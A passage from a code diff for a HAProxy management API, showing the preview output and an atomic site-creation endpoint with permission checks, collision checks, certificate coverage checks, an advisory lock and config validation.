which to render (it can collapse defaults if it wants). + # Backward compat: existing keys keep the same shape, only + # additive new keys. + return { + "would_create": { + "cluster_id": body.cluster_id, + "domains": list(body.domains or []), + "backend": { + "name": body.backend.name, + "balance_method": body.backend.balance_method, + "mode": body.backend.mode, + # R18c Phase K Phase D additive fields + "cookie_name": getattr(body.backend, "cookie_name", None), + "timeout_connect": getattr(body.backend, "timeout_connect", None), + "timeout_server": getattr(body.backend, "timeout_server", None), + "http_check_method": getattr(body.backend, "http_check_method", None), + "http_check_uri": getattr(body.backend, "http_check_uri", None), + "options": getattr(body.backend, "options", None), + }, + "servers": [ + { + "server_name": s.server_name, + "server_address": s.server_address, + "server_port": s.server_port, + "weight": s.weight, + "check_enabled": s.check_enabled, + "ssl_enabled": s.ssl_enabled, + "ssl_verify": s.ssl_verify, + "ssl_certificate_id": s.ssl_certificate_id, + "ssl_min_ver": s.ssl_min_ver, + "ssl_max_ver": s.ssl_max_ver, + # R18c Phase K Phase D additive fields + "max_connections": getattr(s, "max_connections", None), + "inter": getattr(s, "inter", None), + "fall": getattr(s, "fall", None), + "rise": getattr(s, "rise", None), + "check_port": getattr(s, "check_port", None), + "backup_server": getattr(s, "backup_server", None), + "cookie_value": getattr(s, "cookie_value", None), + "ssl_sni": getattr(s, "ssl_sni", None), + "ssl_ciphers": getattr(s, "ssl_ciphers", None), + } + for s in body.servers + ], + "frontend_http": { + "name": body.frontend.name, + "bind": f"{body.frontend.bind_address}:{body.frontend.bind_port}", + "mode": body.frontend.mode, + # R18c Phase K Phase D additive fields + "maxconn": getattr(body.frontend, "maxconn", None), + "timeout_client": getattr(body.frontend, "timeout_client", None), + "timeout_http_request": getattr(body.frontend, "timeout_http_request", None), + "compression_enabled": getattr(body.frontend, "compression_enabled", None), + "monitor_uri": getattr(body.frontend, "monitor_uri", None), + "https_redirect": getattr(body.frontend, "https_redirect", None), + "acl_rules_count": len(getattr(body.frontend, "acl_rules", []) or []), + "use_backend_rules_count": len(getattr(body.frontend, "use_backend_rules", []) or []), + "redirect_rules_count": len(getattr(body.frontend, "redirect_rules", []) or []), + "options": getattr(body.frontend, "options", None), + }, + "frontend_https": ( + { + "name": f"{body.frontend.name}{body.ssl.https_frontend_name_suffix or '-https'}", + "bind": f"{body.frontend.bind_address}:{body.ssl.https_bind_port}", + "deferred": body.ssl.mode == "acme", + "ssl_alpn": body.ssl.ssl_alpn, + "ssl_min_ver": body.ssl.ssl_min_ver, + "ssl_max_ver": body.ssl.ssl_max_ver, + "ssl_ciphers": body.ssl.ssl_ciphers, + "ssl_strict_sni": body.ssl.ssl_strict_sni, + # R18 minimum-parity field: inbound mTLS verify mode. + "ssl_verify": body.ssl.ssl_verify, + # R18 minimum-parity field: existing-cert id (none in upload/acme). + "ssl_certificate_id": body.ssl.ssl_certificate_id, + # R18c Phase K Phase D additive fields + "ssl_ciphersuites": getattr(body.ssl, "ssl_ciphersuites", None), + } + if body.ssl.mode in ("upload", "existing", "acme") + else None + ), + "ssl_mode": body.ssl.mode, + "https_redirect_rules": _build_redirect_rules(body), + # R18b round 2 audit fix: HSTS shaping lives on + # `SSLChoice` (body.ssl.hsts_*), NOT on `FrontendStep`. + # Pre-fix the preview pulled from `body.frontend` — + # which has no hsts_* attrs — so the dict was always + # `{enabled: False, max_age: None, ...}` regardless of + # the operator's actual selection. The actual create + # path correctly reads from `body.ssl` (see line ~764), + # so preview disagreed with create. + "hsts": { + "enabled": getattr(body.ssl, "hsts_enabled", False), + "max_age": getattr(body.ssl, "hsts_max_age", None), + "include_subdomains": getattr(body.ssl, "hsts_include_subdomains", False), + "preload": getattr(body.ssl, "hsts_preload", False), + }, + }, + "warnings": warnings, + # Bulgu #36 (round-15 audit) — preview surfaces explicit + # blocker errors (collision + cluster-state failures the + # submit endpoint hard-rejects) so the wizard UI can grey + # out Create instead of letting the user click through into + # an unexpected 400. Empty list means "preview is clean". + "blocking_errors": blocking_errors, + "apply_immediately": body.apply_immediately, + "version_name_template": "bulk-site-create-", + "validation": validation_block, + } + finally: + await close_database_connection(conn) + + +# --------------------------------------------------------------------------- +# POST / (atomic create — Section 6.2 of plan) +# --------------------------------------------------------------------------- + + +def _entity_snapshot(entity_type: str, entity_id: int) -> dict: + """CREATE-style snapshot for bulk_snapshots metadata. Compatible with + rollback_entity_from_snapshot's expected shape.""" + return { + "entity_snapshot": { + "entity_type": entity_type, + "entity_id": entity_id, + "operation": "CREATE", + "timestamp": datetime.utcnow().isoformat() + "Z", + "old_values": {}, + "new_values": {}, + "changed_fields": [], + } + } + + +@router.post("") +async def create_site( + body: SiteCreate, + authorization: str = Header(None), +): + """Atomic multi-entity create for a new site (Issue #14). + + Returns one of these statuses: + - created_pending -> all entities created, version PENDING (apply_immediately=false) + - created_applied -> all entities created + apply succeeded + - created_pending_apply_failed -> entities created, PENDING version exists, apply failed + - applied_acme_staging_failed -> entities created+applied, but ACME staging failed (rare) + """ + current_user = await get_current_user_from_token(authorization) + user_id = current_user["id"] + + # Composite RBAC: backend+frontend create, plus apply.execute when applying. + # R18c round 7 (Bulgu 1): pass current_user so admin bypass skips the + # extra is_admin DB roundtrip (4 calls below). + # R18c round 10 (CRITICAL): seeded permissions are PLURAL + # (`frontends.create`, `backends.create`); see _can_use_wizard for + # the full rationale. SSL is already singular by design. + for resource, action in (("backends", "create"), ("frontends", "create"), ("ssl", "create")): + if not await check_user_permission(user_id, resource, action, current_user=current_user): + raise HTTPException( + status_code=403, + detail=f"Insufficient permissions: {resource}.{action} required", + ) + if body.apply_immediately and not await check_user_permission( + user_id, "apply", "execute", current_user=current_user + ): + raise HTTPException( + status_code=403, detail="Insufficient permissions: apply.execute required" + ) + + conn = await get_database_connection() + try: + await _validate_user_cluster_access(user_id, body.cluster_id, conn) + + # ----- Pre-create checks (must succeed before transaction) + + # Phase 3 (R11-audit follow-up): reserved-name check parity with + # `routers/frontend.py::create_frontend` and + # `routers/backend.py::create_backend`. These names collide with + # the well-known `listen stats` / `listen monitoring` blocks that + # agents preserve from local config; manual create endpoints + # already 400 on these. The wizard now refuses them too instead + # of letting the apply-time `haproxy -c` fail with the + # confusing "proxy has same name" error. + _RESERVED_NAMES = { + "stats", "haproxy-stats", "haproxy_stats", + "monitoring", "admin", "health", "status", + } + if body.frontend.name.lower() in _RESERVED_NAMES: + raise HTTPException( + status_code=400, + detail=( + f"Frontend name '{body.frontend.name}' is reserved. " + "It conflicts with common HAProxy listen sections " + "(e.g. 'listen stats'). Please choose a different name." + ), + ) + if body.backend.name.lower() in _RESERVED_NAMES: + raise HTTPException( + status_code=400, + detail=( + f"Backend name '{body.backend.name}' is reserved. " + "It conflicts with common HAProxy listen sections " + "(e.g. 'listen stats'). Please choose a different name." + ), + ) + + be_collision = await conn.fetchval( + "SELECT id FROM backends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + body.backend.name, + body.cluster_id, + ) + if be_collision: + raise HTTPException( + status_code=400, detail=f"Backend '{body.backend.name}' already exists" + ) + fe_collision = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + body.frontend.name, + body.cluster_id, + ) + if fe_collision: + raise HTTPException( + status_code=400, detail=f"Frontend '{body.frontend.name}' already exists" + ) + + bind_collision = await check_bind_port_collision( + conn, body.cluster_id, body.frontend.bind_address, body.frontend.bind_port + ) + if bind_collision: + # Bulgu #35 (round-15 audit) — actionable collision message. + raise HTTPException( + status_code=400, + detail=_explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.frontend.bind_port, + colliding_frontend_id=bind_collision, + ssl_mode=body.ssl.mode, + is_https=False, + ), + ) + + # Bulgu #11 / R12 fix: pre-check HTTPS frontend name + bind port + # collisions for ALL https-creating modes — upload, existing, AND + # acme. Previously acme deferred this to _execute_post_completion_ + # actions which only runs after Let's Encrypt has issued the cert + # (potentially many minutes later). Detecting the collision up + # front lets the user fix it before they spend an LE rate-limit + # quota on a doomed order. + if body.ssl.mode in ("upload", "existing", "acme"): + https_suffix = body.ssl.https_frontend_name_suffix or "-https" + https_fe_name = f"{body.frontend.name}{https_suffix}" + https_name_collision = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + https_fe_name, + body.cluster_id, + ) + if https_name_collision: + raise HTTPException( + status_code=400, + detail=f"HTTPS frontend name '{https_fe_name}' already exists " + f"(adjust ssl.https_frontend_name_suffix or frontend.name)", + ) + https_bind_collision = await check_bind_port_collision( + conn, body.cluster_id, body.frontend.bind_address, body.ssl.https_bind_port + ) + if https_bind_collision: + # Bulgu #35 (round-15 audit) — actionable HTTPS collision message. + raise HTTPException( + status_code=400, + detail=_explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.ssl.https_bind_port, + colliding_frontend_id=https_bind_collision, + ssl_mode=body.ssl.mode, + is_https=True, + ), + ) + + # ACME mode: resolve account UP FRONT so the post-commit step has it + acme_account_id: Optional[int] = None + if body.ssl.mode == "acme": + # R18c audit fix (round 5 #4 — KRITIK functional): refuse + # to stage an ACME order if the target cluster has + # `acme_enabled=false`. PRE-FIX the wizard happily + # created the wizard_staged order, but the HAProxy + # config generator only injects the + # `/.well-known/acme-challenge` routing block when the + # cluster's `acme_enabled` flag is true (see + # haproxy_config.py:357). With the flag off, the agent + # reload deployed a config that did NOT route challenge + # requests, so the order's HTTP-01 validation failed and + # the operator saw a generic "ACME order failed" with no + # hint that the cluster's own toggle was the cause. The + # explicit 400 here makes the misconfiguration visible + # at submit time so the operator can flip the toggle on + # the cluster page before re-submitting. + cluster_acme_row = await conn.fetchrow( + "SELECT acme_enabled FROM haproxy_clusters WHERE id = $1", + body.cluster_id, + ) + if cluster_acme_row and not cluster_acme_row.get("acme_enabled"): + raise HTTPException( + status_code=400, + detail=( + f"cluster_id={body.cluster_id} has acme_enabled=false. " + "Wizard cannot stage an ACME order: the HAProxy config " + "for this cluster will not route /.well-known/acme-challenge " + "requests, so the HTTP-01 validation would always fail. " + "Enable ACME on the cluster (Cluster Management → ACME " + "settings) before retrying, or pick a different SSL mode." + ), + ) + # Bulgu #34 (round-15 audit) — cluster-aware port-80 reachability. + # Now that the model-level `bind_port=80` requirement has been + # relaxed for multi-tenant clusters, the route handler is the + # last gate. If the new frontend is on a non-80 port we must + # confirm SOME other port-80 HTTP frontend exists in the + # cluster — otherwise LE's HTTP-01 probe has nowhere to land. + acme_reach_error = await _validate_acme_port80_reachable(conn, body) + if acme_reach_error: + raise HTTPException(status_code=400, detail=acme_reach_error) + + # Bulgu #38 (round-16 audit) — pending ACME order overlap. + # Block submit when another in-flight order already covers + # any of the wizard's domains so the operator doesn't race + # two orders against the same LE rate-limit slot. + acme_overlaps = await _find_pending_acme_order_overlap( + conn, body.domains, + ) + if acme_overlaps: + first = acme_overlaps[0] + raise HTTPException( + status_code=409, + detail=( + f"Domain(s) " + f"{', '.join(first['overlapping_domains'])} are " + f"already in an active Let's Encrypt order " + f"(id={first['order_id']}, " + f"status={first['status']}, " + f"created {first['created_at']}). Wait for it to " + "finalise, OR cancel it via the LE Orders page, " + "before re-running this wizard. Re-issuing a " + "second cert for the same names burns an LE " + "rate-limit slot and leaves duplicate cert rows " + "behind." + ), + ) + + # Bulgu #37 (round-16 audit) — cross-frontend domain ACL + # collision. Applies to ALL SSL modes (not just ACME) because + # the same Host: header on two different frontends produces + # ambiguous routing regardless of TLS termination. Hard-block + # here so the operator sees the conflict at submit time. + domain_collisions = await _find_cluster_domain_routing_collisions( + conn, body.cluster_id, body.domains, + exclude_frontend_name=body.frontend.name, + ) + if domain_collisions: + first = domain_collisions[0] + raise HTTPException( + status_code=409, + detail=( + f"Domain(s) " + f"{', '.join(first['conflicting_domains'])} are " + f"already routed by frontend '{first['frontend_name']}' " + f"(id={first['frontend_id']}) via ACL " + f"`{first['acl_rule']}`. Two sites in the same " + "cluster claiming the same Host header produce " + "undefined routing. Either remove the overlapping " + "domain from this wizard, or extend the existing " + "frontend with a new `use_backend` rule instead of " + "creating a second site." + ), + ) + if body.ssl.account_id is not None: + # R13 fix: validate user-supplied account_id BEFORE we + # rely on it. Previously `body.ssl.account_id or + # _resolve_default_acme_account()` accepted any truthy + # int — so account_id=999 (deleted / from another tenant + # / typo) silently bypassed validation and surfaced as + # an FK violation deep inside create_order_staged, which + # the user only saw as a generic 500 long after submit. + row = await conn.fetchrow( + """ + SELECT id, status FROM letsencrypt_accounts + WHERE id = $1 + """, + body.ssl.account_id, + ) + if not row: + raise HTTPException( + status_code=400, + detail=f"ssl.account_id={body.ssl.account_id} does not exist", + ) + if row["status"] and row["status"] != "valid": + raise HTTPException( + status_code=400, + detail=f"ssl.account_id={body.ssl.account_id} is not valid " + f"(status='{row['status']}'). Pick a different account or " + "leave the field empty to auto-pick the latest valid one.", + ) + acme_account_id = body.ssl.account_id + else: + acme_account_id = await _resolve_default_acme_account(conn) + if not acme_account_id: + raise HTTPException( + status_code=409, + detail="No valid ACME account exists. Configure Let's Encrypt first.", + ) + + # preserved_listen_blocks NAME collision (M43/R60) + preserved_rows = await conn.fetch( + """ + SELECT preserved_listen_blocks + FROM agents a + JOIN haproxy_clusters hc ON hc.pool_id = a.pool_id + WHERE hc.id = $1 AND a.preserved_listen_blocks IS NOT NULL + """, + body.cluster_id, + ) + preserved_names = set() + for r in preserved_rows: + raw = r["preserved_listen_blocks"] + try: + names = json.loads(raw) if isinstance(raw, str) else (raw or []) + except json.JSONDecodeError: + names = [] + for n in names: + if isinstance(n, str): + preserved_names.add(n.lower()) + if body.backend.name.lower() in preserved_names: + raise HTTPException( + status_code=400, + detail=f"Backend name '{body.backend.name}' collides with an agent-preserved listen block", + ) + if body.frontend.name.lower() in preserved_names: + raise HTTPException( + status_code=400, + detail=f"Frontend name '{body.frontend.name}' collides with an agent-preserved listen block", + ) + + # Capture pre_apply_snapshot (current applied config) for reject path + pre_apply_snapshot_row = await conn.fetchrow( + """ + SELECT config_content FROM config_versions + WHERE cluster_id = $1 AND status = 'APPLIED' AND config_content IS NOT NULL + ORDER BY created_at DESC LIMIT 1 + """, + body.cluster_id, + ) + pre_apply_snapshot = (pre_apply_snapshot_row or {}).get("config_content") or "" + + ts = _now_ts() + # Phase D: version-name rename `bulk-proxied-host-create-{ts}` + # → `bulk-site-create-{ts}` to match the user-visible "Site" + # rebrand. The reject path on `cluster.py` recognises BOTH + # prefixes so historical APPLIED versions (created before this + # rename) keep behaving correctly during reject/undo. + version_name = f"bulk-site-create-{ts}" + bulk_snapshots: List[dict] = [] + created_ids: Dict[str, Any] = {} + + # ----- Atomic transaction + async with conn.transaction(): + # Bulgu #54 (round-19 audit) — serialize concurrent wizard + # creates against the SAME cluster. + # + # Pre-fix the bind-port / frontend-name / HTTPS-bind-port + # collision checks (lines ~1813-1864) ran OUTSIDE this + # transaction. Two operators (or the same operator's two + # browser tabs) submitting wizards back-to-back against the + # same cluster could both pass the pre-flight check (no + # row exists yet for either), both enter their own + # transactions, and both INSERT — there is NO UNIQUE + # constraint on (cluster_id, bind_address, bind_port), so + # the second INSERT silently succeeds and the cluster ends + # up with two frontends bound to the same port. The next + # apply's `haproxy -c` fails with "duplicate bind" and + # blocks ALL subsequent applies on the cluster until an + # operator manually deletes one of the rows. + # + # Acquire a cluster-scoped transactional advisory lock as + # the FIRST statement of the wizard's create transaction. + # `pg_advisory_xact_lock` automatically releases on COMMIT + # or ROLLBACK so we never need to remember to unlock. + # Namespace key 18181819 (round-19 specific) avoids + # colliding with the existing draft-cap lock (18181818). + # Concurrent wizard runs for DIFFERENT clusters proceed + # in parallel; only the same-cluster races serialise. + await conn.execute( + "SELECT pg_advisory_xact_lock($1, $2)", + 18181819, int(body.cluster_id), + ) + + # Bulgu #54 (round-19 audit) — re-check bind / name + # collisions INSIDE the lock. The pre-flight checks + # at lines ~1813-1864 already ran before this point + # (so unrelated callers get fast 400s without waiting + # for the lock), but a concurrent wizard transaction + # that committed between the pre-flight and the lock + # acquisition could have introduced a colliding row. + # Re-running the same helpers under the lock is cheap + # (indexed lookups) and closes the race. + late_bind = await check_bind_port_collision( + conn, body.cluster_id, body.frontend.bind_address, body.frontend.bind_port + ) + if late_bind: + raise HTTPException( + status_code=409, + detail=_explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.frontend.bind_port, + colliding_frontend_id=late_bind, + ssl_mode=body.ssl.mode, + is_https=False, + ), + ) + late_fe_name = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + body.frontend.name, body.cluster_id, + ) + if late_fe_name: + raise HTTPException( + status_code=409, + detail=( + f"Frontend '{body.frontend.name}' was created by " + "another request just now. Pick a different " + "name and resubmit." + ), + ) + if body.ssl.mode in ("upload", "existing", "acme"): + _https_suffix = body.ssl.https_frontend_name_suffix or "-https" + _https_fe_name = f"{body.frontend.name}{_https_suffix}" + late_https_name = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + _https_fe_name, body.cluster_id, + ) + if late_https_name: + raise HTTPException( + status_code=409, + detail=( + f"HTTPS frontend '{_https_fe_name}' was " + "created by another request just now. " + "Adjust ssl.https_frontend_name_suffix or " + "frontend.name and resubmit." + ), + ) + late_https_bind = await check_bind_port_collision( + conn, body.cluster_id, body.frontend.bind_address, body.ssl.https_bind_port + ) + if late_https_bind: + raise HTTPException( + status_code=409, + detail=_explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.ssl.https_bind_port, + colliding_frontend_id=late_https_bind, + ssl_mode=body.ssl.mode, + is_https=True, + ), + ) + + be_id = await create_backend_row(conn, body.backend, body.cluster_id, mark_pending=True) + created_ids["backend_id"] = be_id + bulk_snapshots.append(_entity_snapshot("backend", be_id)) + + server_ids: List[int] = [] + for idx, srv in enumerate(body.servers): + # R18b audit fix (round 4 #C): per-server CA-bundle + # `ssl_certificate_id` (HAProxy `ca-file` for upstream + # verification) bypassed cluster scoping pre-R18b. + # Mirror the listing/`select_existing_cert` rule so a + # cluster-A operator cannot reference a cluster-B-only + # cert id and silently use it as the upstream CA bundle. + srv_cert_id = getattr(srv, "ssl_certificate_id", None) + if srv_cert_id is not None: + eligible = await validate_server_ca_bundle_eligibility( + conn, srv_cert_id, body.cluster_id + ) + if not eligible: + raise HTTPException( + status_code=400, + detail=( + f"server[{idx}].ssl_certificate_id={srv_cert_id} " + f"is not visible to cluster {body.cluster_id}. " + "Pick a cert that is global or already bound to " + "this cluster." + ), + ) + sid = await create_server_row( + conn, be_id, body.backend.name, body.cluster_id, srv, mark_pending=True + ) + server_ids.append(sid) + bulk_snapshots.append(_entity_snapshot("server", sid)) + created_ids["server_ids"] = server_ids + + # Phase 3 (R11-audit follow-up): drop `option httpchk` from the + # frontend `options` block. `option httpchk` is a backend-only + # health-check directive — when it appears under a frontend + # the agent reload emits a warning. `routers/frontend.py` + # already strips it via `filter_httpchk_from_options`; the + # wizard now mirrors that behaviour so a draft populated by + # an operator who blindly copied `option httpchk` from a + # template still produces a clean, warning-free config. + def _filter_httpchk_from_options(options: Optional[str]) -> Optional[str]: + if not options: + return options + kept = [ + line for line in options.splitlines() + if line.strip().lower() != "option httpchk" + ] + return "\n".join(kept) if kept else None + + _frontend_options_filtered = _filter_httpchk_from_options(body.frontend.options) + + # Wire backend as default_backend for the HTTP frontend + http_frontend_payload = body.frontend.model_copy(update={ + "default_backend": body.backend.name, + "redirect_rules": _build_redirect_rules(body), + "https_redirect": False, # already expanded into redirect_rules + "options": _frontend_options_filtered, + }) + + ssl_certificate_id_for_https: Optional[int] = None + if body.ssl.mode == "upload": + # Bulgu #25 (round-12 audit): verify the uploaded cert's + # SAN/CN entries cover EVERY wizard domain. Pre-fix the + # wizard happily deployed a cert for site-A while the + # operator's wizard listed site-B in `domains` — HAProxy + # served the wrong cert and every browser TLS handshake + # failed with NET::ERR_CERT_COMMON_NAME_INVALID. We + # parse the PEM once here (and `create_cert_row` parses + # it again — the duplicate is cheap and keeps the two + # call sites independent). + from utils.ssl_parser import ( + parse_ssl_certificate as _parse_cert, + find_uncovered_domains, + ) + _cert_info = _parse_cert(body.ssl.certificate_content or "") + if not _cert_info.get("error"): + _cert_domains = _cert_info.get("all_domains") or [] + uncovered = find_uncovered_domains(list(body.domains or []), _cert_domains) + if uncovered: + raise HTTPException( + status_code=400, + detail=( + f"SSL certificate does not cover the following wizard " + f"domain(s): {', '.join(uncovered)}. Cert SAN/CN list: " + f"{', '.join(_cert_domains) or '(empty)'}. Either upload " + "a cert whose SAN list includes every wizard domain " + "(wildcards like '*.example.com' match a single label) " + "or remove the uncovered domain(s) from the wizard." + ), + ) + + cert_payload_obj = type("_CertObj", (), {})() + cert_payload_obj.name = body.ssl.name or f"cert-{body.backend.name}-{ts}" + cert_payload_obj.certificate_content = body.ssl.certificate_content or "" + cert_payload_obj.private_key_content = body.ssl.private_key_content or "" + cert_payload_obj.chain_content = body.ssl.chain_content or None + cert_payload_obj.primary_domain = (body.domains or [None])[0] + cert_payload_obj.all_domains = list(body.domains) + cert_payload_obj.usage_type = "frontend" + + cert_id = await create_cert_row(conn, cert_payload_obj, body.cluster_id) + ssl_certificate_id_for_https = cert_id + created_ids["ssl_certificate_id"] = cert_id + bulk_snapshots.append(_entity_snapshot("ssl_certificate", cert_id)) + elif body.ssl.mode == "existing": + if not body.ssl.ssl_certificate_id: + raise HTTPException( + status_code=400, + detail="ssl.mode='existing' requires ssl_certificate_id", + ) + resolved = await select_existing_cert( + conn, body.ssl.ssl_certificate_id, body.cluster_id + ) + if not resolved: + raise HTTPException( + status_code=400, + detail=f"ssl_certificate_id {body.ssl.ssl_certificate_id} not found / inactive", + ) + + # Bulgu #25 (round-12 audit) — existing-cert branch: read + # the cert's stored SAN list from the ssl_certificates + # row and apply the same coverage check as the upload + # branch above. Pre-fix an operator could pick a cert + # for site-A and run the wizard for site-B's domain; + # the wizard would bind the HTTPS frontend to the + # wrong cert and surface a runtime TLS-handshake + # failure rather than a clean 400 at submit time. + from utils.ssl_parser import find_uncovered_domains + _cert_row = await conn.fetchrow( + "SELECT all_domains, status, days_until_expiry, primary_domain " + "FROM ssl_certificates WHERE id = $1", + resolved, + ) + if _cert_row: + try: + _stored_domains = _cert_row["all_domains"] + if isinstance(_stored_domains, str): + import json as _json + _stored_domains = _json.loads(_stored_domains) + _stored_domains = list(_stored_domains or []) + except Exception: + _stored_domains = [] + # Fall back to primary_domain if SAN list is unset + # (older imports lack it). + if not _stored_domains and _cert_row["primary_domain"]: + _stored_domains = [_cert_row["primary_domain"]] + if _stored_domains: + uncovered = find_uncovered_domains( + list(body.domains or []), _stored_domains + ) + if uncovered: + raise HTTPException( + status_code=400, + detail=( + f"Existing SSL certificate id={resolved} does not " + f"cover the following wizard domain(s): " + f"{', '.join(uncovered)}. Cert SAN/CN list: " + f"{', '.join(_stored_domains)}. Pick a different " + "certificate or remove the uncovered domain(s)." + ), + ) + # Bulgu #24 (round-12 audit) — existing-cert branch: + # also reject if the chosen cert is already expired, + # mirroring the upload-mode rejection in create_cert_row. + if (_cert_row["status"] or "").lower() == "expired": + raise HTTPException( + status_code=400, + detail=( + f"Existing SSL certificate id={resolved} is expired " + f"({_cert_row['days_until_expiry']} days past notAfter). " + "Pick a non-expired certificate or upload a fresh one." + ), + ) + + ssl_certificate_id_for_https = resolved + created_ids["ssl_certificate_id"] = resolved + + # HTTP frontend is always created + http_fe_id = await create_frontend_row( + conn, + http_frontend_payload, + body.cluster_id, + ssl_certificate_id=None, + ssl_enabled=False, + mark_pending=True, + ) + created_ids["http_frontend_id"] = http_fe_id + bulk_snapshots.append(_entity_snapshot("frontend", http_fe_id)) + + # HTTPS frontend for upload/existing modes (acme defers it) + if body.ssl.mode in ("upload", "existing") and ssl_certificate_id_for_https: + # v1.5.0 advanced TLS: pass ALPN, TLS versions, ciphers, HSTS + # tuning through to create_frontend_row (which already supports + # ssl_alpn / ssl_ciphers / ssl_strict_sni / etc.). + # + # R12 fix: idempotent HSTS injection. If the user already wrote + # a Strict-Transport-Security directive into response_headers + # (e.g. resumed from a draft, or hand-crafted advanced rules), + # do NOT append a second one — duplicate headers confuse some + # clients and inflate the HAProxy config. + hsts_response_headers = body.frontend.response_headers or "" + _hsts_already_present = ( + "strict-transport-security" in hsts_response_headers.lower() + ) + if body.ssl.hsts_enabled and not _hsts_already_present: + hsts_value = f"max-age={body.ssl.hsts_max_age}" + if body.ssl.hsts_include_subdomains: + hsts_value += "; includeSubDomains" + if body.ssl.hsts_preload: + hsts_value += "; preload" + hsts_line = f'http-response set-header Strict-Transport-Security "{hsts_value}"' + hsts_response_headers = ( + (hsts_response_headers + "\n" + hsts_line) + if hsts_response_headers + else hsts_line + ) + https_payload = body.frontend.model_copy(update={ + "default_backend": body.backend.name, + "redirect_rules": [], + "https_redirect": False, + "response_headers": hsts_response_headers or None, + # Phase 3: same `option httpchk` strip on the HTTPS + # frontend payload (it inherits `body.frontend.options`). + "options": _frontend_options_filtered, + }) + # Inject TLS tuning fields onto the payload (FrontendStep does + # not declare them, but create_frontend_row reads them via + # getattr — set them as ad-hoc attrs). + for attr_name, attr_val in ( + ("ssl_alpn", body.ssl.ssl_alpn), + ("ssl_ciphers", body.ssl.ssl_ciphers), + ("ssl_ciphersuites", body.ssl.ssl_ciphersuites), + ("ssl_min_ver", body.ssl.ssl_min_ver), + ("ssl_max_ver", body.ssl.ssl_max_ver), + ("ssl_strict_sni", body.ssl.ssl_strict_sni), + # R17 minimum-parity: mTLS client cert auth on HTTPS bind. + # Manual frontend create endpoint accepts this; wizard now + # surfaces it via SSLChoice.ssl_verify so enterprise users + # don't have to drop down to manual create just for mTLS. + ("ssl_verify", body.ssl.ssl_verify), + ): + object.__setattr__(https_payload, attr_name, attr_val) + suffix = body.ssl.https_frontend_name_suffix or "-https" + https_name = f"{body.frontend.name}{suffix}" + https_fe_id = await create_frontend_row( + conn, + https_payload, + body.cluster_id, + ssl_certificate_id=ssl_certificate_id_for_https, + ssl_enabled=True, + bind_port_override=body.ssl.https_bind_port, + name_override=https_name, + mark_pending=True, + ) + created_ids["https_frontend_id"] = https_fe_id + bulk_snapshots.append(_entity_snapshot("frontend", https_fe_id)) + + # Generate fresh HAProxy config + checksum for the new version. + # + # R18c audit fix (round 1 #4 — KRITIK): pass the active + # transaction connection. Pre-fix the call obtained a + # SECOND pooled connection, which under PostgreSQL READ + # COMMITTED cannot see the uncommitted INSERTs that + # just created the wizard's backend / servers / HTTP + # frontend / HTTPS frontend in this same transaction. + # Result: the freshly-built config_versions snapshot + # OMITTED the wizard-created entities, so the operator's + # subsequent apply re-deployed a config without the new + # site even though the wizard returned "created + # successfully". This silent inconsistency was the root + # of the "wizard says success but agent reload doesn't + # show new bind" class of reports. + try: + # Phase K Phase C: route through the shared candidate + # synthesizer so the dry-run gate (`/preview` with + # `validate_haproxy_config=true`) and the apply gate + # (this `create_site` block) can never silently + # desync. Pinned by + # `tests/test_site_wizard_phase_k.py:: + # test_phase_k_create_site_and_preview_use_same_synthesis_helper`. + config_content = await _synthesize_candidate_haproxy_config( + body, conn, entities_already_inserted=True + ) + except Exception as cfg_err: + logger.error(f"WIZARD: config gen failed: {cfg_err}") + config_content = "" + + # Phase 2 (PR-5): pre-persist HAProxy config validation gate. + # Generation already applies the in-line safeguards + # (`_apply_bind_ssl_verify`, `_format_redirect_rule`, + # `_categorize_haproxy_directive` bucket order, stick-table + # dedup) so the rendered config is structurally sound. As a + # defence-in-depth pass we ALSO run HAProxyConfigValidator on + # the generated string and ABORT the transaction if any + # ERROR-level diagnostic fires — the user-stated rule is "UI + # must not allow operations that fail haproxy validation", + # so we refuse to persist a config_versions row that would + # not reload cleanly. A validator crash is non-fatal (the + # apply-time `haproxy -c` on the agent is the ultimate + # gate); we only block on real ERROR-level findings. + if config_content: + try: + from utils.haproxy_validator import ( + HAProxyConfigValidator, + ValidationLevel, + ) + # Phase K Phase D follow-up (Bulgu #12): same as + # the /preview dry-run — the wizard's synthesised + # cluster config is a PARTIAL fragment that the + # agent merges with its local global+defaults at + # reload time. Skip the global/defaults missing- + # section diagnostics so the apply-time gate does + # not refuse to persist a perfectly valid wizard + # output on a spurious WARNING (the gate currently + # only blocks on ERROR-level, but emitting WARN + # noise still leaks to the operator-visible + # response trail and the version-history page). + _val_report = HAProxyConfigValidator().validate_config( + config_content, partial_fragment=True + ) + _val_errors = [ + r for r in _val_report.results + if r.level == ValidationLevel.ERROR + ] + if _val_errors: + _err_payload = [ + { + "line": e.line_number, + "section": e.section, + "message": e.message, + "directive": e.directive, + } + for e in _val_errors[:20] # cap response payload size + ] + logger.error( + "WIZARD: pre-persist haproxy validation FAILED: " + f"{len(_val_errors)} error(s) — first: {_err_payload[0]}" + ) + raise HTTPException( + status_code=422, + detail={ + "error": "haproxy_validation_failed", + "message": ( + f"Generated HAProxy configuration would fail " + f"validation ({len(_val_errors)} error(s)). " + "The wizard refused to persist a config that " + "would not reload cleanly. Adjust the inputs " + "and try again." + ), + "errors": _err_payload, + }, + ) + except HTTPException: + raise # propagate so the transaction rolls back + except Exception as _val_err: + # Validator itself crashed — non-fatal. The apply-time + # `haproxy -c` on the agent will catch any real syntax + # issue; do NOT block create on a defensive-validator + # bug. + logger.warning( + f"WIZARD: pre-persist validator crashed " + f"(non-fatal, apply-time haproxy -c remains the ultimate " + f"gate): {_val_err}" + ) + + import hashlib + config_hash = hashlib.sha256(config_content.encode()).hexdigest() + + metadata = { + "wizard": "site_create", + "version": "v1.5.0", + "created_by_user_id": user_id, + "ssl_mode": body.ssl.mode, + "domains": list(body.domains), + "bulk_snapshots": bulk_snapshots, + "pre_apply_snapshot": pre_apply_snapshot, + } + + config_version_id = 